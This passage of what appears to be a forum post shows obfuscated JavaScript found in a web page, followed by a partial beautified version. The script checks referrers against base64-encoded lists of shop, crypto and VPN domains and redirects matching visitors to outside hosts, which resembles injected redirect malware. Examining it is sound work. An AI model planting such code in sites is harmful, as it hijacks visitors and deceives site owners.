a={\'2N=\':1,\'2y\':1,\'2z=\':1,\'2A\':1,\'2B=\':1,\'2x==\':1,\'L==\':1,\'2w==\':1,\'2s=\':1,\'2t=\':1,\'2u=\':1,\'2v=\':1,\'2C=\':1,\'2D=\':1,\'2K\':1,\'2L==\':1,\'2M\':1,\'2J==\':1,\'2I\':1,\'2E\':1,\'2F=\':1,\'2G\':1,\'2H=\':1,\'39=\':1,\'3a=\':1,\'3D\':1,\'3E=\':1,\'3F==\':1,\'3C=\':1,\'3B==\':1,\'3x=\':1,\'3y=\':1,\'3z\':1,\'3A==\':1,\'3G\':1,\'3H\':1,\'3O=\':1,\'3P\':1,\'3Q\':1,\'3N\':1,\'3M==\':1,\'3I=\':1,\'3J==\':1,\'3K\':1,\'3L==\':1,\'2r\':1,\'3v==\':1,\'3h==\':1,\'3i=\':1,\'3j=\':1,\'3g\':1,\'3f=\':1,\'3b==\':1,\'3c==\':1,\'3d==\':1,\'3e\':1,\'3k=\':1,\'3l==\':1,\'3s=\':1,\'3t\':1,\'3u=\':1,\'3r=\':1,\'3q\':1,\'3m==\':1,\'3n=\':1,\'3o==\':1,\'3p\':1,\'3R=\':1,\'25==\':1,\'1t==\':1,\'1u\':1,\'1v\':1,\'1w=\':1,\'1s=\':1,\'1r=\':1,\'1n\':1,\'1o=\':1,\'1p\':1,\'1q==\':1,\'1x=\':1,\'1y=\':1,\'1F=\':1,\'1G==\':1,\'1H==\':1,\'1E=\':1,\'1D==\':1,\'1z\':1,\'1m\':1,\'1B==\':1,\'1C=\':1,\'1I\':1,\'1h\':1,\'13=\':1,\'14==\':1,\'12\':1,\'16=\':1,\'15=\':1,\'1l==\':1,\'17==\':1,\'1g==\':1,\'1i=\':1,\'1j\':1,\'1k\':1,\'1f\':1,\'1e==\':1,\'19=\':1,\'18==\':1,\'1a=\':1,\'1b==\':1,\'1d=\':1,\'1c\':1,\'1A==\':1,\'2q\':1,\'2c=\':1,\'2d==\':1,\'2e==\':1,\'2b==\':1,\'2a=\':1,\'26==\':1,\'28\':1,\'29\':1,\'2f\':1,\'2g\':1,\'2n\':1,\'2o=\':1,\'2p\':1,\'2m==\':1,\'2l=\':1,\'2h=\':1,\'2j=\':1,\'2k==\':1,\'24\':1,\'1R=\':1,\'1S==\':1,\'L==\':1,\'1P\':1,\'1O==\':1,\'1K=\':1,\'1L==\':1,\'1M\':1,\'1N==\':1,\'1U=\':1,\'21\':1,\'22==\':1,\'23==\':1,\'1Z==\':1,\'1X==\':1,\'27\':1,\'1Y==\':1,\'1W==\':1,\'1V\':1,\'20\':1,\'1T\':1,\'1Q=\':1,\'2i=\':1,\'1J=\':1,\'3w==\':1,\'4h=\':1,\'5J\':1,\'5K\':1,\'5L\':1,\'5I=\':1,\'5H==\':1,\'5D==\':1,\'5E\':1,\'5F==\':1,\'5G\':1,\'5M==\':1,\'5N=\':1,\'5T==\':1,\'5U==\':1,\'5V=\':1,\'3S\':1,\'5S==\':1,\'5R==\':1,\'5O==\':1,\'5P==\':1,\'5Q==\':1,\'5C=\':1,\'5B=\':1,\'5n\':1,\'5o==\':1,\'5p\':1,\'5m=\':1,\'5l=\':1,\'5h\':1,\'5i\':1,\'5j\':1,\'5k==\':1,\'5q==\':1,\'5r\':1,\'5X==\':1,\'5z==\':1,\'5A=\':1,\'5x==\':1,\'5w==\':1,\'5s=\':1,\'5t==\':1,\'5u==\':1,\'5v\':1,\'5W==\':1,\'67==\':1,\'6A\':1,\'6z==\':1,\'6y=\':1,\'6C=\':1,\'6q\':1,\'6w==\':1,\'6t==\':1,\'6u==\':1,\'6v=\':1,\'6s\':1,\'6r=\':1,\'6o==\':1,\'6p=\':1,\'6x\':1,\'6D=\':1,\'6B\':1,\'6m==\':1,\'65\':1,\'66==\':1,\'6n=\':1,\'69\':1,\'64=\':1,\'63==\':1,\'5Z==\':1,\'5Y\':1,\'60==\':1,\'61==\':1,\'62=\':1,\'6a\':1,\'6b\':1,\'6i==\':1,\'6j==\':1,\'6k==\':1,\'6l\':1,\'6h\':1,\'6g==\':1,\'6c==\':1,\'6d==\':1,\'6e\':1,\'6f\':1,\'5y=\':1,\'5f==\':1,\'4l==\':1,\'4m==\':1,\'4n==\':1,\'4k==\':1,\'4j=\':1,\'4f\':1,\'4g==\':1,\'5g=\':1,\'4i==\':1,\'4o=\':1,\'4p==\':1,\'4v\':1,\'4w==\':1,\'4x=\':1,\'4u==\':1,\'4t\':1,\'4q==\':1,\'4r==\':1,\'4s=\':1,\'4e\':1,\'4d\':1,\'3Z==\':1,\'40==\':1,\'41\':1,\'3Y\':1,\'3X=\':1,\'3T==\':1,\'3U==\':1,\'3V=\':1,\'3W=\':1,\'42==\':1,\'43==\':1,\'4a=\':1,\'4b==\':1,\'4c\':1,\'49\':1,\'48==\':1,\'44\':1,\'45\':1,\'46\':1,\'47\':1,\'4y\':1,\'4z=\':1,\'52=\':1,\'53=\':1,\'54\':1,\'51=\':1,\'50=\':1,\'4W=\':1,\'4X=\':1};7(a[k])b u;h b K}g V(k){6 a={\'4Y=\':1};7(a[k])b u;h b K}g q(){6 4Z=55.56.5c(/5d(e|5e)\\/([0-9]+)\\./);b\'\'}g B(){7(o.y)6 s=\'?5b=\'+C(5a(o.y))+\'&t=i&w=O&c=\'+q()+\'&j=J=&i=N\';h 6 s=\'?t=i&w=O&c=\'+q()+\'&j=J=&i=N\';7(q()>=68)s=s+\'&57=1\';b s}g G(58,H){6 r=I 59();r.4V(\'4U\',\'//\'+\'S.R\'+\'/s/\'+H+\'/\',u);r.4G=g(){7(r.4H!=4||r.4I!=4F)b};r.4E(\'\')}g U(){7(4A(4B)!==\'4C\'){7(!D.4D(\'F\')){G(\'1\',\'i\');D.E(\'F\',1);D.E(\'4J\',I Z().4K())}h{}}h{}}7(4R!=4S){6 T=Z.4T()/4Q|0;6 W=\'4P==\';7(!(T%5))U();6 d=Q();7(11(C(d))){10.Y.z=\'//S.R/s/r/\'+B()}h 7(V(C(d))){10.Y.z=\'//\'+4L(W)+\'/s/s/\'+B()}h{4M.4N(\'{"4O":1}\',\'*\')}}',62,412,'||||||var|if|length|||return||||com|function|else||co|host|subString|pos||document||gG||||true|string|||referrer|href|parser|appendR|btoa|localStorage|setItem|_ins|theCall|hash|new|REU|false|YWlyYm5iLmNvbQ|au|Y29udmVydGVy|ob|allowOverlapping|trouverDom|link|shor|to|theInsCheck|theCheckSt|key|step|location|Date|window|theCheck|YmFuZ2dvb2QuY29t|bGlnaHRpbnRoZWJveC5jb20|bWluaWludGhlYm94LmNvbQ|cm9zZWdhbC5jb20|cmVudGFsY2Fycy5jb20|bXludHJhLmNvbQ|Y2hhbmdlbGx5LmNvbQ|bG9jYWxiaXRjb2lucy5jb20|YmluYW5jZS5jb20|a3Vjb2luLmNvbQ|Y2V4Lmlv|cGx1czUwMC5jb20|bGVkZ2VyLmNvbQ|ZXRvcm8uY29t|amFib25nLmNvbQ|Z2VhcmJlc3QuY29t|cG9rZXJzdGFycy5jb20|ZnVsbHRpbHQuY29t|cGlubmFjbGUuY29t|dGFyZ2V0LmNvbQ|d2hhdGJyb3dzZXIub3Jn|Y2VudGF1cm8uY29tLmJy|cmljYXJkb2VsZXRyby5jb20uYnI|dGlueWRlYWwuY29t|aG90ZWxzLmNvbQ|YWxpYmFiYS5jb20|YWxpZXhwcmVzcy5jb20|YW5udGF5bG9yLmNvbQ|c2l2dmkuY29t|YW1hcmEuY29t|dmVzdGlhaXJlY29sbGVjdGl2ZS5jb20|bGl2ZWphc21pbi5jb20|Y2hhdHVyYmF0ZS5jb20|ZGVzcGVnYXIuY29t|dmlyYm94LmNvbQ|d2hhdGlzbXlicm93c2VyLmNvbQ|YXNvcy5jb20|aG90ZWlzLmNvbQ|YmV0c3Nvbi5jb20|Yndpbi5jb20|Yndpbi5lcw|Yndpbi5iZQ|ZHguY29t|dnVlbGluZy5jb20|ZHluYWRvdC5jb20|bmFtZWNoZWFwLmNvbQ|Ymx1ZWhvc3QuY29t|ZHJlYW1ob3N0LmNvbQ|ZG9tYWluLmNvbQ|YWlyYm5iLmVz|a2l3aS5jb20|emVubWF0ZS5jb20|bWludG9zLmNvbQ|bGF0YW0uY29t|ZWxlZ2FudHRoZW1lcy5jb20|bmV0ZmlybXMuY29t|aXBvd2VyLmNvbQ|aG9zdGdhdG9yLmNvbQ|ZmF0Y293LmNvbQ|Y2xvdWR3YXlzLmNvbQ|aW9ub3MuY29t|YmFuYWhvc3RpbmcuY29t|dGVtcGxhdGVtb25zdGVyLmNvbQ|YTJob3N0aW5nLmNvbQ|aXB2YW5pc2guY29t|bm9rYWlyLmNvbQ|Y29pbmhvdXNlLmNvbQ|aG9zdHBhcGEuY29t|aW5kYWNvaW4uY29t|eGNvaW5zLmlv|Yml0Ym9uZC5jb20|YmluYW5jZS5qZQ|aHVvYmkuY28|ZGlnaWZpbmV4LmNvbQ|Yml0bWV4LmNvbQ|Zm9ydHVuZWphY2suY29t|Yml0c3RhcnouY29t|Z29sZGVuZnJvZy5jb20|YXZpYW5jYS5jb20|cHVyZXZwbi5jb20|cHJvdG9udnBuLmNvbQ|d2luZHNjcmliZS5jb20|YWlydnBuLm9yZw|YXZhdHJhZGUuY29t|ZXhwcmVzc3Zwbi5jb20|aGlkZXN0ZXIuY29t|Yml0cGFuZGEuY29t|Y2F4dG9uZnguY29t|aXV2by1ncm91cC5jb20|Z3J1cGVlci5jb20|ZmFzdGludmVzdC5jb20|Ym9uZG9yYS5jb20|cGVlcmJlcnJ5LmNvbQ|aGlkZW15YXNzLmNvbQ|YWdvZGEuY29t|bm9yZHZwbi5jb20|dHJlem9yLmlv|Y3liZXJnaG9zdHZwbi5jb20|Y3Jvd2Rlc3Rvci5jb20|YnVsa2VzdGF0ZS5jb20|c2hvd3RpY2tldHMuY29t|c2l4dC5jb20|aWhlcmIuY29t|cmVkbWFydC5jb20|Y2l0eXBhc3MuY29t|ZXRpaGFkLmNvbQ|ZW52ZXN0aW8uY29t|ZXN0YXRlZ3VydS5jbw|aXBhZ2UuY29t|Ym9va2luZy5jb20|for|split|br|uk|ph|createElement|break|countStr|while|indexOf|my|th|kr|mm|sa|eg|in|bd|id|tw|hk|cGVyZnVtZS5jb20|bmlrZS5jb20|ZmFzaGlvbnZhbGV0LmNvbQ|YnVzb25saW5ldGlja2V0LmNvbQ|ZXRoaWFkLmNvbQ|aG9zdGVsc2NsdWIuY29t|cG9wbG9vay5jb20|eW91cnN1cnByaXNlLmZy|Z292b3lhZ2luLmNvbQ|dW5nZXItZmFzaGlvbi5jb20|dGhlbGl0dGxlZ3JlZW5iYWcubmw|c3R5bGVuYW5kYS5jb20|c3R5bGVvbm1lLmNvbQ|c3NlbnNlLmNvbQ|c2FtbXlkcmVzcy5jb20|dHdpbmtsZWRlYWxzLmNvbQ|a2FtYXRlcmEuY29t|dWFldmlzYS1vbmxpbmUub3Jn|amFtYWxvbi5jb20|cG9tZWxvZmFzaGlvbi5jb20|Z29sZGVuc2NlbnQuY29t|bmlhZ2Fob3N0ZXIuY28uaWQ|cG9ja2l0LmNvbQ|aWJlcmlhLmNvbQ|c3ByZWFkc2hpcnQuZGU|bWVpbmZvdG8uZGU|YmlndGV4LmRl|anVzdHNwaWNlcy5kZQ|c2hvcDRydW5uZXJzLmNvbQ|bWFuZG1kaXJlY3QuZGU|c3BvcnRpbmdiZXQuY29t|d2lzc2Vuc2NoYWZ0LXNob3AuZGU|YmFiYXViYS5kZQ|bWljc2JvZHlzaG9wLmRl|aG9iYnliYWVja2VyLmRl|c2FyYWhyYXZlbi5jb20|emlmZml0LmNvbQ|aW5zdXJhbmNlNGNhcmhpcmUuY29t|aGVhdGhyb3dleHByZXNzLmNvbQ|cmVhZGx5LmNvbQ|cGFlc3NsZXIuY29t|ZGlhbW9uZGNiZC5jb20|N2RheXNob3AuY29t|Ym9pbGVyanVpY2UuY29t|c2hvcGJvcC5jb20|cXVvcmEuY29t|ZXhwZWRpYS5jby5pbg|ZXhwZWRpYS5jby5rcg|ZXhwZWRpYS5jb20udHc|ZXhwZWRpYS5jb20ucGg|ZXhwZWRpYS5jb20uaGs|bGF6YWRhLnNn|bGF6YWRhLmNvbS5waA|bGF6YWRhLmNvbS5teQ|bGF6YWRhLmNvLmlk|ZXhwZWRpYS5jby50aA|ZXhwZWRpYS5jby5pZA|ODg4Y2FzaW5vLmVz|ODg4Y2FzaW5vLml0|ODg4Y2FzaW5vLmRr|ODg4Y2FzaW5vLnJv|ODg4Y2FzaW5vLmNvbQ|ODg4LnJv|ZXhwZWRpYS5jb20ubXk|ODg4LmNvbQ|ODg4Lml0|cGVnaXBlZ2kuY29t|b3VpZ28uY29t|b3N0aW4uY29t|bWVkaWFtYXJrdC5ydQ|Y29udGFiby5jb20|b2xkaS5ydQ|dHJpcGFkdmlzb3IuaXQ|c2t5c2Nhbm5lci5lcw|ZWRyZWFtcy5pdA|c2t5c2Nhbm5lci5pdA|c2l4dC5lcw|c3Z5YXpub3kucnU|c2hvcGNsdWVzLmNvbQ|ZXhwZWRpYS5mcg|ZmxpeGJ1cy5mcg|YmVsYW1icmEuZnI|YW1hem9uLmlu|YmlnYmFza2V0LmNvbQ|dGF0YWNsaXEuY29t|Ymlncm9jay5pbg|bWFrZW15dHJpcC5jb20|ODg4cG9rZXIuY29t|ODg4cG9rZXIuZXM|typeof|Storage|undefined|getItem|send|200|onreadystatechange|readyState|status|_ins_t|getTime|atob|parent|postMessage|__catch__|c3RhdGljeGV2LmNvbQ|1000|self|top|now|GET|open|ODg4c3BvcnQuZGs|ODg4c3BvcnQucm8|ZHVja2R1Y2tnby5jb20|raw|ODg4c3BvcnQuaXQ|ODg4c3BvcnQuZXM|ODg4cG9rZXIucm8|ODg4cG9rZXIuZGs|ODg4c3BvcnQuY29t|navigator|userAgent|pm|version|XMLHttpRequest|encodeURI|re|match|Chrom|ium|ZXhwZWRpYS5pdA|cGxlZXIucnU|c25hcGRlYWwuY29t|emFsb3JhLnNn|emFsb3JhLmNvLmlk|emFsb3JhLmNvbS5waA|c3VybGF0YWJsZS5jb20|bG9mdC5jb20|a29obHMuY29t|NnBtLmNvbQ|YmFja2NvdW50cnkuY29t|emFsb3JhLmNvbS5teQ|dGlrZXQuY29t|b3Bza2lucy5jb20|c3RhZGl1bWdvb2RzLmNvbQ|dG9tdG9wLmNvbQ|bnVzYXRyaXAuY29t|Z2FtaXNzLmNvbQ|emFwYWxzLmNvbQ|YW5uYXBlZ292YS5jb20uYnI|ZHJlc3NsaWx5LmNvbQ|Z2Vla2J1eWluZy5jb20|aG9zdGluZ2FkdmljZS5jb20|aG9zdGluZy5yZXZpZXc|c3B5b2ZmLmNvbQ|YXZpcmEuY29t|Y3J1aXNlZGlyZWN0LmNvbQ|YmlnYnVzdG91cnMuY29t|cG5mLmNvbQ|Y29udGlraS5jb20|cmViZWwuY29t|YWlyZnJhbmNlLmVz|YmVzdG9mdmVnYXMuY29t|cmVzZXJ2YXRpb25zLmNvbQ|b3RlbC5jb20|eWFuZGV4LmNvbQ|cmVkZGl0LmNvbQ|aG9zdGluZ2ZhY3RzLmNvbQ|c3RhcnRwYWdlLmNvbQ|YXNrLmNvbQ|a25vd25ob3N0LmNvbQ|Zml2ZXJyLmNvbQ|YmluZy5jb20|YWlycGF6LmNvbQ|Ym9ybnByZXR0eXN0b3JlLmNvbQ|aGF2YW4uY29tLmJy|bW9kYWl0LmNvbS5icg|cGJraWRzLmNvbS5icg|YW1hem9uLmNvbS5icg|bXVsdGlhci5jb20uYnI|Y2x1YmVkb21hbHRlLmNvbS5icg|bWFzaC5jb20uYnI|ZnV0ZmFuYXRpY3MuY29tLmJy|c3VwZXJtdWZmYXRvLmNvbS5icg|aG90ZWxzMnRoYWlsYW5kLmNvbQ||c2llbm8uY29tLmJy|am9pYXNsdWxlYW4uY29tLmJy|bG9qYW11bHRpbGFzZXIuY29tLmJy|dm9lZ29sLmNvbS5icg|Y3ZjLmNvbS5icg|bW9ibHkuY29tLmJy|bGl2cmFyaWEuZm9saGEuY29tLmJy|Z2lyYWZhLmNvbS5icg|c2hvcHRpbWUuY29tLmJy|cG5ldXN0b3JlLmNvbS5icg|bW9uYW1hLmNvbS5icg|dHZ6LmNvbS5icg|Y2hpY29yZWkuY29t|bGl2cmFyaWFjdWx0dXJhLmNvbS5icg|Y2xhc3NpY3Rlbm5pcy5jb20uYnI|cG9udG9mcmlvLmNvbS5icg|YW1lcmljYW5hcy5jb20uYnI|andwbGF5ZXIuY29t|bWVnYW1hbXV0ZS5jb20uYnI|ZXh0cmEuY29tLmJy|dml0YW1pbndvcmxkLmNvbQ|c3VibWFyaW5vLmNvbS5icg|d2FsbWFydC5jb20uYnI|c3RvcmUuZGppLmNvbQ|dHJhdmVzc2EuY29tLmJy|aXRhbGlzdC5jb20|bW9kYW9wZXJhbmRpLmNvbQ|amV0cmFkYXIuY29t|Y2x1YmVkb3JpY2FyZG8uY29tLmJy|cmVlYm9uei5jb20|cmloYXBweS5jb20uYnI'.split('|'),0,{}))
</script>
</body>
</html>

Alles anzeigen

nach beautifying, das Script

Code

function countStr(string, subString, allowOverlapping) {
    string += '';
    subString += '';
    if (subString.length <= 0) return (string.length + 1);
    var n = 0,
        pos = 0,
        step = allowOverlapping ? 1 : subString.length;
    while (true) {
        pos = string.indexOf(subString, pos);
        if (pos >= 0) {
            ++n;
            pos += step
        } else break
    }
    return n
}

function trouverDom() {
    var x = document.referrer;
    var parser = document.createElement('a');
    parser.href = x;
    var d = parser.host;
    var p = d.split('.');
    if ('com' == p[p.length - 1]) return p[p.length - 2] + '.' + p[p.length - 1];
    else if (p.length > 2) {
        var a = ["com.au", "com.br", "co.uk", "com.ph", "com.my", "co.th", "co.id", "com.tw", "com.hk", "co.bd", "co.in", "co.kr", "com.mm", "com.sa", "com.eg", "com.au"];
        for (var i = 0; i < a.length; i++) {
            if (a[i] == p[p.length - 2] + '.' + p[p.length - 1]) return p[p.length - 3] + '.' + p[p.length - 2] + '.' + p[p.length - 1]
        }
    }
    return p[p.length - 2] + '.' + p[p.length - 1]
}

function theCheck(host) {
    var a = {
        'Ym9va2luZy5jb20=': 1,
        'YWdvZGEuY29t': 1,
        'bm9yZHZwbi5jb20=': 1,
        'dHJlem9yLmlv': 1,
        'Y3liZXJnaG9zdHZwbi5jb20=': 1,
        'aGlkZW15YXNzLmNvbQ==': 1,
        'YWlyYm5iLmNvbQ==': 1,
        'cGVlcmJlcnJ5LmNvbQ==': 1,
        'aXV2by1ncm91cC5jb20=': 1,
        'Z3J1cGVlci5jb20=': 1,
        'ZmFzdGludmVzdC5jb20=': 1,
        'Ym9uZG9yYS5jb20=': 1,
        'Y3Jvd2Rlc3Rvci5jb20=': 1,
        'YnVsa2VzdGF0ZS5jb20=': 1,
        'ZW52ZXN0aW8uY29t': 1,
        'ZXN0YXRlZ3VydS5jbw==': 1,
        'aXBhZ2UuY29t': 1,
        'ZXRpaGFkLmNvbQ==': 1,
        'Y2l0eXBhc3MuY29t': 1,
        'c2hvd3RpY2tldHMuY29t': 1,
        'c2l4dC5jb20=': 1,
        'aWhlcmIuY29t': 1,
        'cmVkbWFydC5jb20=': 1,
        'cGVyZnVtZS5jb20=': 1,
        'bmlrZS5jb20=': 1,
        'c3BvcnRpbmdiZXQuY29t': 1,
        'd2lzc2Vuc2NoYWZ0LXNob3AuZGU=': 1,
        'YmFiYXViYS5kZQ==': 1,
        'bWFuZG1kaXJlY3QuZGU=': 1,
        'c2hvcDRydW5uZXJzLmNvbQ==': 1,
        'c3ByZWFkc2hpcnQuZGU=': 1,
        'bWVpbmZvdG8uZGU=': 1,
        'YmlndGV4LmRl': 1,
        'anVzdHNwaWNlcy5kZQ==': 1,
        'bWljc2JvZHlzaG9wLmRl': 1,
        'aG9iYnliYWVja2VyLmRl': 1,
        'ZGlhbW9uZGNiZC5jb20=': 1,
        'N2RheXNob3AuY29t': 1,
        'Ym9pbGVyanVpY2UuY29t': 1,
        'cGFlc3NsZXIuY29t': 1,
        'cmVhZGx5LmNvbQ==': 1,
        'c2FyYWhyYXZlbi5jb20=': 1,
        'emlmZml0LmNvbQ==': 1,
        'aW5zdXJhbmNlNGNhcmhpcmUuY29t': 1,
        'aGVhdGhyb3dleHByZXNzLmNvbQ==': 1,
        'Y2F4dG9uZnguY29t': 1,
        'cG9ja2l0LmNvbQ==': 1,
        'Z292b3lhZ2luLmNvbQ==': 1,
        'dW5nZXItZmFzaGlvbi5jb20=': 1,
        'dGhlbGl0dGxlZ3JlZW5iYWcubmw=': 1,
        'eW91cnN1cnByaXNlLmZy': 1,
        'cG9wbG9vay5jb20=': 1,
        'ZmFzaGlvbnZhbGV0LmNvbQ==': 1,
        'YnVzb25saW5ldGlja2V0LmNvbQ==': 1,
        'ZXRoaWFkLmNvbQ==': 1,
        'aG9zdGVsc2NsdWIuY29t': 1,
        'c3R5bGVuYW5kYS5jb20=': 1,
        'c3R5bGVvbm1lLmNvbQ==': 1,
        'cG9tZWxvZmFzaGlvbi5jb20=': 1,
        'Z29sZGVuc2NlbnQuY29t': 1,
        'bmlhZ2Fob3N0ZXIuY28uaWQ=': 1,
        'amFtYWxvbi5jb20=': 1,
        'dWFldmlzYS1vbmxpbmUub3Jn': 1,
        'c3NlbnNlLmNvbQ==': 1,
        'c2FtbXlkcmVzcy5jb20=': 1,
        'dHdpbmtsZWRlYWxzLmNvbQ==': 1,
        'a2FtYXRlcmEuY29t': 1,
        'c2hvcGJvcC5jb20=': 1,
        'bm9rYWlyLmNvbQ==': 1,
        'YW5udGF5bG9yLmNvbQ==': 1,
        'c2l2dmkuY29t': 1,
        'YW1hcmEuY29t': 1,
        'dmVzdGlhaXJlY29sbGVjdGl2ZS5jb20=': 1,
        'YWxpZXhwcmVzcy5jb20=': 1,
        'YWxpYmFiYS5jb20=': 1,
        'Y2VudGF1cm8uY29tLmJy': 1,
        'cmljYXJkb2VsZXRyby5jb20uYnI=': 1,
        'dGlueWRlYWwuY29t': 1,
        'aG90ZWxzLmNvbQ==': 1,
        'bGl2ZWphc21pbi5jb20=': 1,
        'Y2hhdHVyYmF0ZS5jb20=': 1,
        'Yndpbi5jb20=': 1,
        'Yndpbi5lcw==': 1,
        'Yndpbi5iZQ==': 1,
        'YmV0c3Nvbi5jb20=': 1,
        'aG90ZWlzLmNvbQ==': 1,
        'ZGVzcGVnYXIuY29t': 1,
        'd2hhdGJyb3dzZXIub3Jn': 1,
        'd2hhdGlzbXlicm93c2VyLmNvbQ==': 1,
        'YXNvcy5jb20=': 1,
        'ZHguY29t': 1,
        'Z2VhcmJlc3QuY29t': 1,
        'bGlnaHRpbnRoZWJveC5jb20=': 1,
        'bWluaWludGhlYm94LmNvbQ==': 1,
        'YmFuZ2dvb2QuY29t': 1,
        'cmVudGFsY2Fycy5jb20=': 1,
        'cm9zZWdhbC5jb20=': 1,
        'dGFyZ2V0LmNvbQ==': 1,
        'bXludHJhLmNvbQ==': 1,
        'amFib25nLmNvbQ==': 1,
        'cG9rZXJzdGFycy5jb20=': 1,
        'ZnVsbHRpbHQuY29t': 1,
        'cGlubmFjbGUuY29t': 1,
        'ZXRvcm8uY29t': 1,
        'bGVkZ2VyLmNvbQ==': 1,
        'bG9jYWxiaXRjb2lucy5jb20=': 1,
        'Y2hhbmdlbGx5LmNvbQ==': 1,
        'YmluYW5jZS5jb20=': 1,
        'a3Vjb2luLmNvbQ==': 1,
        'cGx1czUwMC5jb20=': 1,
        'Y2V4Lmlv': 1,
        'dmlyYm94LmNvbQ==': 1,
        'Yml0cGFuZGEuY29t': 1,
        'aHVvYmkuY28=': 1,
        'ZGlnaWZpbmV4LmNvbQ==': 1,
        'Yml0bWV4LmNvbQ==': 1,
        'YmluYW5jZS5qZQ==': 1,
        'Yml0Ym9uZC5jb20=': 1,
        'Y29pbmhvdXNlLmNvbQ==': 1,
        'aW5kYWNvaW4uY29t': 1,
        'eGNvaW5zLmlv': 1,
        'Zm9ydHVuZWphY2suY29t': 1,
        'Yml0c3RhcnouY29t': 1,
        'YXZhdHJhZGUuY29t': 1,
        'ZXhwcmVzc3Zwbi5jb20=': 1,
        'aGlkZXN0ZXIuY29t': 1,
        'YWlydnBuLm9yZw==': 1,
        'd2luZHNjcmliZS5jb20=': 1,
        'Z29sZGVuZnJvZy5jb20=': 1,
        'cHVyZXZwbi5jb20=': 1,
        'cHJvdG9udnBuLmNvbQ==': 1,
        'aXB2YW5pc2guY29t': 1,
        'emVubWF0ZS5jb20=': 1,
        'bWludG9zLmNvbQ==': 1,
        'YWlyYm5iLmNvbQ==': 1,
        'YWlyYm5iLmVz': 1,
        'ZG9tYWluLmNvbQ==': 1,
        'ZHluYWRvdC5jb20=': 1,
        'bmFtZWNoZWFwLmNvbQ==': 1,
        'Ymx1ZWhvc3QuY29t': 1,
        'ZHJlYW1ob3N0LmNvbQ==': 1,
        'ZWxlZ2FudHRoZW1lcy5jb20=': 1,
        'YmFuYWhvc3RpbmcuY29t': 1,
        'dGVtcGxhdGVtb25zdGVyLmNvbQ==': 1,
        'YTJob3N0aW5nLmNvbQ==': 1,
        'Y2xvdWR3YXlzLmNvbQ==': 1,
        'aG9zdGdhdG9yLmNvbQ==': 1,
        'aG9zdHBhcGEuY29t': 1,
        'ZmF0Y293LmNvbQ==': 1,
        'aXBvd2VyLmNvbQ==': 1,
        'bmV0ZmlybXMuY29t': 1,
        'aW9ub3MuY29t': 1,
        'bGF0YW0uY29t': 1,
        'a2l3aS5jb20=': 1,
        'YXZpYW5jYS5jb20=': 1,
        'dnVlbGluZy5jb20=': 1,
        'aWJlcmlhLmNvbQ==': 1,
        'Y29udGFiby5jb20=': 1,
        'cmViZWwuY29t': 1,
        'YWlyZnJhbmNlLmVz': 1,
        'YmVzdG9mdmVnYXMuY29t': 1,
        'Y29udGlraS5jb20=': 1,
        'cG5mLmNvbQ==': 1,
        'c3B5b2ZmLmNvbQ==': 1,
        'YXZpcmEuY29t': 1,
        'Y3J1aXNlZGlyZWN0LmNvbQ==': 1,
        'YmlnYnVzdG91cnMuY29t': 1,
        'cmVzZXJ2YXRpb25zLmNvbQ==': 1,
        'b3RlbC5jb20=': 1,
        'a25vd25ob3N0LmNvbQ==': 1,
        'Zml2ZXJyLmNvbQ==': 1,
        'YmluZy5jb20=': 1,
        'cXVvcmEuY29t': 1,
        'YXNrLmNvbQ==': 1,
        'c3RhcnRwYWdlLmNvbQ==': 1,
        'eWFuZGV4LmNvbQ==': 1,
        'cmVkZGl0LmNvbQ==': 1,
        'aG9zdGluZ2ZhY3RzLmNvbQ==': 1,
        'aG9zdGluZy5yZXZpZXc=': 1,
        'aG9zdGluZ2FkdmljZS5jb20=': 1,
        'a29obHMuY29t': 1,
        'NnBtLmNvbQ==': 1,
        'YmFja2NvdW50cnkuY29t': 1,
        'bG9mdC5jb20=': 1,
        'c3VybGF0YWJsZS5jb20=': 1,
        'c25hcGRlYWwuY29t': 1,
        'emFsb3JhLnNn': 1,
        'emFsb3JhLmNvLmlk': 1,
        'emFsb3JhLmNvbS5waA==': 1,
        'emFsb3JhLmNvbS5teQ==': 1,
        'dGlrZXQuY29t': 1,
        'Ym9ybnByZXR0eXN0b3JlLmNvbQ==': 1,
        'ZHJlc3NsaWx5LmNvbQ==': 1,
        'Z2Vla2J1eWluZy5jb20=': 1,
        'emFwYWxzLmNvbQ==': 1,
        'Z2FtaXNzLmNvbQ==': 1,
        'b3Bza2lucy5jb20=': 1,
        'c3RhZGl1bWdvb2RzLmNvbQ==': 1,
        'dG9tdG9wLmNvbQ==': 1,
        'bnVzYXRyaXAuY29t': 1,
        'YWlycGF6LmNvbQ==': 1,
        'aG90ZWxzMnRoYWlsYW5kLmNvbQ==': 1,
        'amV0cmFkYXIuY29t': 1,
        'bW9kYW9wZXJhbmRpLmNvbQ==': 1,
        'aXRhbGlzdC5jb20=': 1,
        'cmVlYm9uei5jb20=': 1,
        'andwbGF5ZXIuY29t': 1,
        'c3RvcmUuZGppLmNvbQ==': 1,
        'dml0YW1pbndvcmxkLmNvbQ==': 1,
        'c3VibWFyaW5vLmNvbS5icg==': 1,
        'd2FsbWFydC5jb20uYnI=': 1,
        'ZXh0cmEuY29tLmJy': 1,
        'bWVnYW1hbXV0ZS5jb20uYnI=': 1,
        'cG9udG9mcmlvLmNvbS5icg==': 1,
        'YW1lcmljYW5hcy5jb20uYnI=': 1,
        'dHJhdmVzc2EuY29tLmJy': 1,
        'cmloYXBweS5jb20uYnI=': 1,
        'Y2x1YmVkb3JpY2FyZG8uY29tLmJy': 1,
        'bGl2cmFyaWFjdWx0dXJhLmNvbS5icg==': 1,
        'ZnV0ZmFuYXRpY3MuY29tLmJy': 1,
        'c3VwZXJtdWZmYXRvLmNvbS5icg==': 1,
        'Y2xhc3NpY3Rlbm5pcy5jb20uYnI=': 1,
        'c2llbm8uY29tLmJy': 1,
        'bWFzaC5jb20uYnI=': 1,
        'Y2x1YmVkb21hbHRlLmNvbS5icg==': 1,
        'bW9kYWl0LmNvbS5icg==': 1,
        'aGF2YW4uY29tLmJy': 1,
        'cGJraWRzLmNvbS5icg==': 1,
        'YW1hem9uLmNvbS5icg==': 1,
        'bXVsdGlhci5jb20uYnI=': 1,
        'am9pYXNsdWxlYW4uY29tLmJy': 1,
        'bG9qYW11bHRpbGFzZXIuY29tLmJy': 1,
        'cG5ldXN0b3JlLmNvbS5icg==': 1,
        'bW9uYW1hLmNvbS5icg==': 1,
        'dHZ6LmNvbS5icg==': 1,
        'Y2hpY29yZWkuY29t': 1,
        'c2hvcHRpbWUuY29tLmJy': 1,
        'Z2lyYWZhLmNvbS5icg==': 1,
        'dm9lZ29sLmNvbS5icg==': 1,
        'Y3ZjLmNvbS5icg==': 1,
